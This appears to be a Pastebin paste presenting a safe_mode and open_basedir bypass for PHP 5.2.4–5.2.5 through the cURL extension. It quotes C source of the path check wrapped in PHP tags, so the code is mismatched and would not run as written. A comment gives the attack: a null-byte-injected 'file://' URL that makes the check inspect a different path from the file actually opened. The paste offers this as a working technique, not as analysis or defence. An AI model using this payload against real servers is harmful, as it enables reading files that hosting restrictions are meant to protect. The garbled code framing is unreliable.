Advertisement
The_KGB

[PHP]Bypass PHP Safemode with cURL

Mar 18th, 2012
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.35 KB | None | 0 0
  1. bypass SAFE MODE in PHP 5.2.4 - 5.2.5
  2.  
  3.  
  4. <?php
  5. #define PHP_CURL_CHECK_OPEN_BASEDIR(str, len, __ret);
  6.     if (((PG(open_basedir) && *PG(open_basedir)) || PG(safe_mode)) && strncasecmp(str, "file:", sizeof("file:") - 1) == 0){
  7.         php_url *tmp_url;
  8.         if (!(tmp_url = php_url_parse_ex(str, len))) {
  9.             php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid URL '%s'", str);
  10.             php_curl_ret(__ret);
  11.         }
  12.         if (!php_memnstr(str, tmp_url->path, strlen(tmp_url->path), str + len)) {
  13.             php_error_docref(NULL TSRMLS_CC, E_WARNING, "URL '%s' contains unencoded control characters", str);
  14.             php_url_free(tmp_url);
  15.             php_curl_ret(__ret);
  16.         }
  17.  
  18.         if (tmp_url->query || tmp_url->fragment || php_check_open_basedir(tmp_url->path TSRMLS_CC) ||
  19.             (PG(safe_mode) && !php_checkuid(tmp_url->path, "rb+", CHECKUID_CHECK_MODE_PARAM))){
  20.             php_url_free(tmp_url);
  21.             php_curl_ret(__ret);
  22.         }
  23.         php_url_free(tmp_url);
  24. }
  25. /*
  26. if you have tmp_url = php_url_parse_ex(str, len) where:
  27. str = "file://safe_mode_bypass\x00".__FILE__
  28.  
  29. and this function will return:
  30. tmp_url->path = __FILE__
  31.  
  32. curl_init() functions checks safemode and openbasedir for tmp_url->path. Not for real path.
  33. */
  34. if (argc > 0) {
  35.     char *urlcopy;
  36.     urlcopy = estrndup(Z_STRVAL_PP(url), Z_STRLEN_PP(url));
  37.     curl_easy_setopt(ch->cp, CURLOPT_URL, urlcopy);
  38.     zend_llist_add_element(&ch->to_free.str, &urlcopy);
  39. }
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement